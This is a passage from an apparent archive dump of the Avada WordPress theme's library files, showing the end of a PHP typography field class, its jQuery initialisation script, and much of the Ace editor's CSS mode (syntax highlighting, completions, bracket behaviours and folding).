    '; // end typography container } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 1.0.0 */ function enqueue() { if ( function_exists( 'AWB_Global_Typography' ) ) { AWB_Global_Typography()->enqueue(); } wp_enqueue_script( 'fusion-redux-field-typography-js', trailingslashit( FUSION_LIBRARY_URL ) . 'inc/redux/custom-fields/typography/field_typography.js', array( 'jquery', 'awb-color-picker', 'select3-js', 'fusionredux-js' ), time(), true ); wp_localize_script( 'fusion-redux-field-typography-js', 'fusionredux_ajax_script', [ 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'fusion_web_fonts' => Fusion_App()->get_googlefonts_ajax(), ] ); } //function function output() { } } } Avada/includes/lib/inc/redux/custom-fields/typography/field_typography.js000064400000003664152342437700022747 0ustar00( function( $ ) { "use strict"; var typoSets = {}; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.typography = fusionredux.field_objects.typography || {}; fusionredux.field_objects.typography.init = function( selector, skipCheck) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-typography:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.each( function() { var $el = jQuery( this ); if ( $el.find( '.awb-typography' ).length ) { if ( 'undefined' === typeof window.awbTypographySelect || 'undefined' === typeof window.awbTypographySelect.webfonts ) { jQuery.when( window.awbTypographySelect.getWebFonts() ).done( function() { $el.find( '.awb-typography' ).each( function() { typoSets[ jQuery( this ).attr( 'data-id' ) ] = new AwbTypography( jQuery( this ).parent()[0], fusionredux ); } ); } ); } else { $el.find( '.awb-typography' ).each( function() { typoSets[ jQuery( this ).attr( 'data-id' ) ] = new AwbTypography( jQuery( this ).parent()[0], fusionredux ); } ); } } } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/custom-fields/ace_editor/mode-css.js000064400000124003152342437700020767 0ustar00ace.define("ace/mode/css_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var lang = require("../lib/lang"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var supportType = exports.supportType = "align-content|align-items|align-self|all|animation|animation-delay|animation-direction|animation-duration|animation-fill-mode|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|backface-visibility|background|background-attachment|background-blend-mode|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|border|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|cursor|direction|display|empty-cells|filter|flex|flex-basis|flex-direction|flex-flow|flex-grow|flex-shrink|flex-wrap|float|font|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|hanging-punctuation|height|justify-content|left|letter-spacing|line-height|list-style|list-style-image|list-style-position|list-style-type|margin|margin-bottom|margin-left|margin-right|margin-top|max-height|max-width|min-height|min-width|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|order|outline|outline-color|outline-offset|outline-style|outline-width|overflow|overflow-x|overflow-y|padding|padding-bottom|padding-left|padding-right|padding-top|page-break-after|page-break-before|page-break-inside|perspective|perspective-origin|position|quotes|resize|right|tab-size|table-layout|text-align|text-align-last|text-decoration|text-decoration-color|text-decoration-line|text-decoration-style|text-indent|text-justify|text-overflow|text-shadow|text-transform|top|transform|transform-origin|transform-style|transition|transition-delay|transition-duration|transition-property|transition-timing-function|unicode-bidi|vertical-align|visibility|white-space|width|word-break|word-spacing|word-wrap|z-index"; var supportFunction = exports.supportFunction = "rgb|rgba|url|attr|counter|counters"; var supportConstant = exports.supportConstant = "absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero"; var supportConstantColor = exports.supportConstantColor = "aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow"; var supportConstantFonts = exports.supportConstantFonts = "arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace"; var numRe = exports.numRe = "\\-?(?:(?:[0-9]+)|(?:[0-9]*\\.[0-9]+))"; var pseudoElements = exports.pseudoElements = "(\\:+)\\b(after|before|first-letter|first-line|moz-selection|selection)\\b"; var pseudoClasses = exports.pseudoClasses = "(:)\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\b"; var CssHighlightRules = function() { var keywordMapper = this.createKeywordMapper({ "support.function": supportFunction, "support.constant": supportConstant, "support.type": supportType, "support.constant.color": supportConstantColor, "support.constant.fonts": supportConstantFonts }, "text", true); this.$rules = { "start" : [{ token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token: "paren.lparen", regex: "\\{", push: "ruleset" }, { token: "string", regex: "@.*?{", push: "media" }, { token: "keyword", regex: "#[a-z0-9-_]+" }, { token: "variable", regex: "\\.[a-z0-9-_]+" }, { token: "string", regex: ":[a-z0-9-_]+" }, { token: "constant", regex: "[a-z0-9-_]+" }, { caseInsensitive: true }], "media" : [{ token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token: "paren.lparen", regex: "\\{", push: "ruleset" }, { token: "string", regex: "\\}", next: "pop" }, { token: "keyword", regex: "#[a-z0-9-_]+" }, { token: "variable", regex: "\\.[a-z0-9-_]+" }, { token: "string", regex: ":[a-z0-9-_]+" }, { token: "constant", regex: "[a-z0-9-_]+" }, { caseInsensitive: true }], "comment" : [{ token : "comment", regex : "\\*\\/", next : "pop" }, { defaultToken : "comment" }], "ruleset" : [ { token : "paren.rparen", regex : "\\}", next: "pop" }, { token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token : "string", // single line regex : '["](?:(?:\\\\.)|(?:[^"\\\\]))*?["]' }, { token : "string", // single line regex : "['](?:(?:\\\\.)|(?:[^'\\\\]))*?[']" }, { token : ["constant.numeric", "keyword"], regex : "(" + numRe + ")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)" }, { token : "constant.numeric", regex : numRe }, { token : "constant.numeric", // hex6 color regex : "#[a-f0-9]{6}" }, { token : "constant.numeric", // hex3 color regex : "#[a-f0-9]{3}" }, { token : ["punctuation", "entity.other.attribute-name.pseudo-element.css"], regex : pseudoElements }, { token : ["punctuation", "entity.other.attribute-name.pseudo-class.css"], regex : pseudoClasses }, { token : ["support.function", "string", "support.function"], regex : "(url\\()(.*)(\\))" }, { token : keywordMapper, regex : "\\-?[a-zA-Z_][a-zA-Z0-9_\\-]*" }, { caseInsensitive: true }] }; this.normalizeRules(); }; oop.inherits(CssHighlightRules, TextHighlightRules); exports.CssHighlightRules = CssHighlightRules; }); ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var MatchingBraceOutdent = function() {}; (function() { this.checkOutdent = function(line, input) { if (! /^\s+$/.test(line)) return false; return /^\s*\}/.test(input); }; this.autoOutdent = function(doc, row) { var line = doc.getLine(row); var match = line.match(/^(\s*\})/); if (!match) return 0; var column = match[1].length; var openBracePos = doc.findMatchingBracket({row: row, column: column}); if (!openBracePos || openBracePos.row == row) return 0; var indent = this.$getIndent(doc.getLine(openBracePos.row)); doc.replace(new Range(row, 0, row, column-1), indent); }; this.$getIndent = function(line) { return line.match(/^\s*/)[0]; }; }).call(MatchingBraceOutdent.prototype); exports.MatchingBraceOutdent = MatchingBraceOutdent; }); ace.define("ace/mode/css_completions",["require","exports","module"], function(require, exports, module) { "use strict"; var propertyMap = { "background": {"#$0": 1}, "background-color": {"#$0": 1, "transparent": 1, "fixed": 1}, "background-image": {"url('/$0')": 1}, "background-repeat": {"repeat": 1, "repeat-x": 1, "repeat-y": 1, "no-repeat": 1, "inherit": 1}, "background-position": {"bottom":2, "center":2, "left":2, "right":2, "top":2, "inherit":2}, "background-attachment": {"scroll": 1, "fixed": 1}, "background-size": {"cover": 1, "contain": 1}, "background-clip": {"border-box": 1, "padding-box": 1, "content-box": 1}, "background-origin": {"border-box": 1, "padding-box": 1, "content-box": 1}, "border": {"solid $0": 1, "dashed $0": 1, "dotted $0": 1, "#$0": 1}, "border-color": {"#$0": 1}, "border-style": {"solid":2, "dashed":2, "dotted":2, "double":2, "groove":2, "hidden":2, "inherit":2, "inset":2, "none":2, "outset":2, "ridged":2}, "border-collapse": {"collapse": 1, "separate": 1}, "bottom": {"px": 1, "em": 1, "%": 1}, "clear": {"left": 1, "right": 1, "both": 1, "none": 1}, "color": {"#$0": 1, "rgb(#$00,0,0)": 1}, "cursor": {"default": 1, "pointer": 1, "move": 1, "text": 1, "wait": 1, "help": 1, "progress": 1, "n-resize": 1, "ne-resize": 1, "e-resize": 1, "se-resize": 1, "s-resize": 1, "sw-resize": 1, "w-resize": 1, "nw-resize": 1}, "display": {"none": 1, "block": 1, "inline": 1, "inline-block": 1, "table-cell": 1}, "empty-cells": {"show": 1, "hide": 1}, "float": {"left": 1, "right": 1, "none": 1}, "font-family": {"Arial":2,"Comic Sans MS":2,"Consolas":2,"Courier New":2,"Courier":2,"Georgia":2,"Monospace":2,"Sans-Serif":2, "Segoe UI":2,"Tahoma":2,"Times New Roman":2,"Trebuchet MS":2,"Verdana": 1}, "font-size": {"px": 1, "em": 1, "%": 1}, "font-weight": {"bold": 1, "normal": 1}, "font-style": {"italic": 1, "normal": 1}, "font-variant": {"normal": 1, "small-caps": 1}, "height": {"px": 1, "em": 1, "%": 1}, "left": {"px": 1, "em": 1, "%": 1}, "letter-spacing": {"normal": 1}, "line-height": {"normal": 1}, "list-style-type": {"none": 1, "disc": 1, "circle": 1, "square": 1, "decimal": 1, "decimal-leading-zero": 1, "lower-roman": 1, "upper-roman": 1, "lower-greek": 1, "lower-latin": 1, "upper-latin": 1, "georgian": 1, "lower-alpha": 1, "upper-alpha": 1}, "margin": {"px": 1, "em": 1, "%": 1}, "margin-right": {"px": 1, "em": 1, "%": 1}, "margin-left": {"px": 1, "em": 1, "%": 1}, "margin-top": {"px": 1, "em": 1, "%": 1}, "margin-bottom": {"px": 1, "em": 1, "%": 1}, "max-height": {"px": 1, "em": 1, "%": 1}, "max-width": {"px": 1, "em": 1, "%": 1}, "min-height": {"px": 1, "em": 1, "%": 1}, "min-width": {"px": 1, "em": 1, "%": 1}, "overflow": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "overflow-x": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "overflow-y": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "padding": {"px": 1, "em": 1, "%": 1}, "padding-top": {"px": 1, "em": 1, "%": 1}, "padding-right": {"px": 1, "em": 1, "%": 1}, "padding-bottom": {"px": 1, "em": 1, "%": 1}, "padding-left": {"px": 1, "em": 1, "%": 1}, "page-break-after": {"auto": 1, "always": 1, "avoid": 1, "left": 1, "right": 1}, "page-break-before": {"auto": 1, "always": 1, "avoid": 1, "left": 1, "right": 1}, "position": {"absolute": 1, "relative": 1, "fixed": 1, "static": 1}, "right": {"px": 1, "em": 1, "%": 1}, "table-layout": {"fixed": 1, "auto": 1}, "text-decoration": {"none": 1, "underline": 1, "line-through": 1, "blink": 1}, "text-align": {"left": 1, "right": 1, "center": 1, "justify": 1}, "text-transform": {"capitalize": 1, "uppercase": 1, "lowercase": 1, "none": 1}, "top": {"px": 1, "em": 1, "%": 1}, "vertical-align": {"top": 1, "bottom": 1}, "visibility": {"hidden": 1, "visible": 1}, "white-space": {"nowrap": 1, "normal": 1, "pre": 1, "pre-line": 1, "pre-wrap": 1}, "width": {"px": 1, "em": 1, "%": 1}, "word-spacing": {"normal": 1}, "filter": {"alpha(opacity=$0100)": 1}, "text-shadow": {"$02px 2px 2px #777": 1}, "text-overflow": {"ellipsis-word": 1, "clip": 1, "ellipsis": 1}, "-moz-border-radius": 1, "-moz-border-radius-topright": 1, "-moz-border-radius-bottomright": 1, "-moz-border-radius-topleft": 1, "-moz-border-radius-bottomleft": 1, "-webkit-border-radius": 1, "-webkit-border-top-right-radius": 1, "-webkit-border-top-left-radius": 1, "-webkit-border-bottom-right-radius": 1, "-webkit-border-bottom-left-radius": 1, "-moz-box-shadow": 1, "-webkit-box-shadow": 1, "transform": {"rotate($00deg)": 1, "skew($00deg)": 1}, "-moz-transform": {"rotate($00deg)": 1, "skew($00deg)": 1}, "-webkit-transform": {"rotate($00deg)": 1, "skew($00deg)": 1 } }; var CssCompletions = function() { }; (function() { this.completionsDefined = false; this.defineCompletions = function() { if (document) { var style = document.createElement('c').style; for (var i in style) { if (typeof style[i] !== 'string') continue; var name = i.replace(/[A-Z]/g, function(x) { return '-' + x.toLowerCase(); }); if (!propertyMap.hasOwnProperty(name)) propertyMap[name] = 1; } } this.completionsDefined = true; } this.getCompletions = function(state, session, pos, prefix) { if (!this.completionsDefined) { this.defineCompletions(); } var token = session.getTokenAt(pos.row, pos.column); if (!token) return []; if (state==='ruleset'){ var line = session.getLine(pos.row).substr(0, pos.column); if (/:[^;]+$/.test(line)) { /([\w\-]+):[^:]*$/.test(line); return this.getPropertyValueCompletions(state, session, pos, prefix); } else { return this.getPropertyCompletions(state, session, pos, prefix); } } return []; }; this.getPropertyCompletions = function(state, session, pos, prefix) { var properties = Object.keys(propertyMap); return properties.map(function(property){ return { caption: property, snippet: property + ': $0', meta: "property", score: Number.MAX_VALUE }; }); }; this.getPropertyValueCompletions = function(state, session, pos, prefix) { var line = session.getLine(pos.row).substr(0, pos.column); var property = (/([\w\-]+):[^:]*$/.exec(line) || {})[1]; if (!property) return []; var values = []; if (property in propertyMap && typeof propertyMap[property] === "object") { values = Object.keys(propertyMap[property]); } return values.map(function(value){ return { caption: value, snippet: value, meta: "property value", score: Number.MAX_VALUE }; }); }; }).call(CssCompletions.prototype); exports.CssCompletions = CssCompletions; }); ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var lang = require("../../lib/lang"); var SAFE_INSERT_IN_TOKENS = ["text", "paren.rparen", "punctuation.operator"]; var SAFE_INSERT_BEFORE_TOKENS = ["text", "paren.rparen", "punctuation.operator", "comment"]; var context; var contextCache = {}; var initContext = function(editor) { var id = -1; if (editor.multiSelect) { id = editor.selection.index; if (contextCache.rangeCount != editor.multiSelect.rangeCount) contextCache = {rangeCount: editor.multiSelect.rangeCount}; } if (contextCache[id]) return context = contextCache[id]; context = contextCache[id] = { autoInsertedBrackets: 0, autoInsertedRow: -1, autoInsertedLineEnd: "", maybeInsertedBrackets: 0, maybeInsertedRow: -1, maybeInsertedLineStart: "", maybeInsertedLineEnd: "" }; }; var getWrapped = function(selection, selected, opening, closing) { var rowDiff = selection.end.row - selection.start.row; return { text: opening + selected + closing, selection: [ 0, selection.start.column + 1, rowDiff, selection.end.column + (rowDiff ? 0 : 1) ] }; }; var CstyleBehaviour = function() { this.add("braces", "insertion", function(state, action, editor, session, text) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (text == '{') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "{" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '{', '}'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { if (/[\]\}\)]/.test(line[cursor.column]) || editor.inMultiSelectMode) { CstyleBehaviour.recordAutoInsert(editor, session, "}"); return { text: '{}', selection: [1, 1] }; } else { CstyleBehaviour.recordMaybeInsert(editor, session, "{"); return { text: '{', selection: [1, 1] }; } } } else if (text == '}') { initContext(editor); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == '}') { var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } else if (text == "\n" || text == "\r\n") { initContext(editor); var closing = ""; if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) { closing = lang.stringRepeat("}", context.maybeInsertedBrackets); CstyleBehaviour.clearMaybeInsertedClosing(); } var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === '}') { var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}'); if (!openBracePos) return null; var next_indent = this.$getIndent(session.getLine(openBracePos.row)); } else if (closing) { var next_indent = this.$getIndent(line); } else { CstyleBehaviour.clearMaybeInsertedClosing(); return; } var indent = next_indent + session.getTabString(); return { text: '\n' + indent + '\n' + next_indent + closing, selection: [1, indent.length, 1, indent.length] }; } else { CstyleBehaviour.clearMaybeInsertedClosing(); } }); this.add("braces", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '{') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.end.column, range.end.column + 1); if (rightChar == '}') { range.end.column++; return range; } else { context.maybeInsertedBrackets--; } } }); this.add("parens", "insertion", function(state, action, editor, session, text) { if (text == '(') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '(', ')'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, ")"); return { text: '()', selection: [1, 1] }; } } else if (text == ')') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ')') { var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("parens", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '(') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ')') { range.end.column++; return range; } } }); this.add("brackets", "insertion", function(state, action, editor, session, text) { if (text == '[') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '[', ']'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, "]"); return { text: '[]', selection: [1, 1] }; } } else if (text == ']') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ']') { var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("brackets", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '[') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ']') { range.end.column++; return range; } } }); this.add("string_dquotes", "insertion", function(state, action, editor, session, text) { if (text == '"' || text == "'") { initContext(editor); var quote = text; var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, quote, quote); } else if (!selected) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var leftChar = line.substring(cursor.column-1, cursor.column); var rightChar = line.substring(cursor.column, cursor.column + 1); var token = session.getTokenAt(cursor.row, cursor.column); var rightToken = session.getTokenAt(cursor.row, cursor.column + 1); if (leftChar == "\\" && token && /escape/.test(token.type)) return null; var stringBefore = token && /string|escape/.test(token.type); var stringAfter = !rightToken || /string|escape/.test(rightToken.type); var pair; if (rightChar == quote) { pair = stringBefore !== stringAfter; } else { if (stringBefore && !stringAfter) return null; // wrap string with different quote if (stringBefore && stringAfter) return null; // do not pair quotes inside strings var wordRe = session.$mode.tokenRe; wordRe.lastIndex = 0; var isWordBefore = wordRe.test(leftChar); wordRe.lastIndex = 0; var isWordAfter = wordRe.test(leftChar); if (isWordBefore || isWordAfter) return null; // before or after alphanumeric if (rightChar && !/[\s;,.})\]\\]/.test(rightChar)) return null; // there is rightChar and it isn't closing pair = true; } return { text: pair ? quote + quote : "", selection: [1,1] }; } } }); this.add("string_dquotes", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && (selected == '"' || selected == "'")) { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == selected) { range.end.column++; return range; } } }); }; CstyleBehaviour.isSaneInsertion = function(editor, session) { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); if (!this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) { var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1); if (!this.$matchTokenType(iterator2.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) return false; } iterator.stepForward(); return iterator.getCurrentTokenRow() !== cursor.row || this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_BEFORE_TOKENS); }; CstyleBehaviour.$matchTokenType = function(token, types) { return types.indexOf(token.type || token) > -1; }; CstyleBehaviour.recordAutoInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0])) context.autoInsertedBrackets = 0; context.autoInsertedRow = cursor.row; context.autoInsertedLineEnd = bracket + line.substr(cursor.column); context.autoInsertedBrackets++; }; CstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isMaybeInsertedClosing(cursor, line)) context.maybeInsertedBrackets = 0; context.maybeInsertedRow = cursor.row; context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket; context.maybeInsertedLineEnd = line.substr(cursor.column); context.maybeInsertedBrackets++; }; CstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) { return context.autoInsertedBrackets > 0 && cursor.row === context.autoInsertedRow && bracket === context.autoInsertedLineEnd[0] && line.substr(cursor.column) === context.autoInsertedLineEnd; }; CstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) { return context.maybeInsertedBrackets > 0 && cursor.row === context.maybeInsertedRow && line.substr(cursor.column) === context.maybeInsertedLineEnd && line.substr(0, cursor.column) == context.maybeInsertedLineStart; }; CstyleBehaviour.popAutoInsertedClosing = function() { context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1); context.autoInsertedBrackets--; }; CstyleBehaviour.clearMaybeInsertedClosing = function() { if (context) { context.maybeInsertedBrackets = 0; context.maybeInsertedRow = -1; } }; oop.inherits(CstyleBehaviour, Behaviour); exports.CstyleBehaviour = CstyleBehaviour; }); ace.define("ace/mode/behaviour/css",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/mode/behaviour/cstyle","ace/token_iterator"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var CstyleBehaviour = require("./cstyle").CstyleBehaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var CssBehaviour = function () { this.inherit(CstyleBehaviour); this.add("colon", "insertion", function (state, action, editor, session, text) { if (text === ':') { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (token && token.value.match(/\s+/)) { token = iterator.stepBackward(); } if (token && token.type === 'support.type') { var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === ':') { return { text: '', selection: [1, 1] } } if (!line.substring(cursor.column).match(/^\s*;/)) { return { text: ':;', selection: [1, 1] } } } } }); this.add("colon", "deletion", function (state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected === ':') { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (token && token.value.match(/\s+/)) { token = iterator.stepBackward(); } if (token && token.type === 'support.type') { var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.end.column, range.end.column + 1); if (rightChar === ';') { range.end.column ++; return range; } } } }); this.add("semicolon", "insertion", function (state, action, editor, session, text) { if (text === ';') { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === ';') { return { text: '', selection: [1, 1] } } } }); } oop.inherits(CssBehaviour, CstyleBehaviour); exports.CssBehaviour = CssBehaviour; }); ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Range = require("../../range").Range; var BaseFoldMode = require("./fold_mode").FoldMode; var FoldMode = exports.FoldMode = function(commentRegex) { if (commentRegex) { this.foldingStartMarker = new RegExp( this.foldingStartMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.start) ); this.foldingStopMarker = new RegExp( this.foldingStopMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.end) ); } }; oop.inherits(FoldMode, BaseFoldMode); (function() { this.foldingStartMarker = /(\{|\[)[^\}\]]*$|^\s*(\/\*)/; this.foldingStopMarker = /^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/; this.singleLineBlockCommentRe= /^\s*(\/\*).*\*\/\s*$/; this.tripleStarBlockCommentRe = /^\s*(\/\*\*\*).*\*\/\s*$/; this.startRegionRe = /^\s*(\/\*|\/\/)#?region\b/; this._getFoldWidgetBase = this.getFoldWidget; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); if (this.singleLineBlockCommentRe.test(line)) { if (!this.startRegionRe.test(line) && !this.tripleStarBlockCommentRe.test(line)) return ""; } var fw = this._getFoldWidgetBase(session, foldStyle, row); if (!fw && this.startRegionRe.test(line)) return "start"; // lineCommentRegionStart return fw; }; this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) { var line = session.getLine(row); if (this.startRegionRe.test(line)) return this.getCommentRegionBlock(session, line, row); var match = line.match(this.foldingStartMarker); if (match) { var i = match.index; if (match[1]) return this.openingBracketBlock(session, match[1], row, i); var range = session.getCommentFoldRange(row, i + match[0].length, 1); if (range && !range.isMultiLine()) { if (forceMultiline) { range = this.getSectionRange(session, row); } else if (foldStyle != "all") range = null; } return range; } if (foldStyle 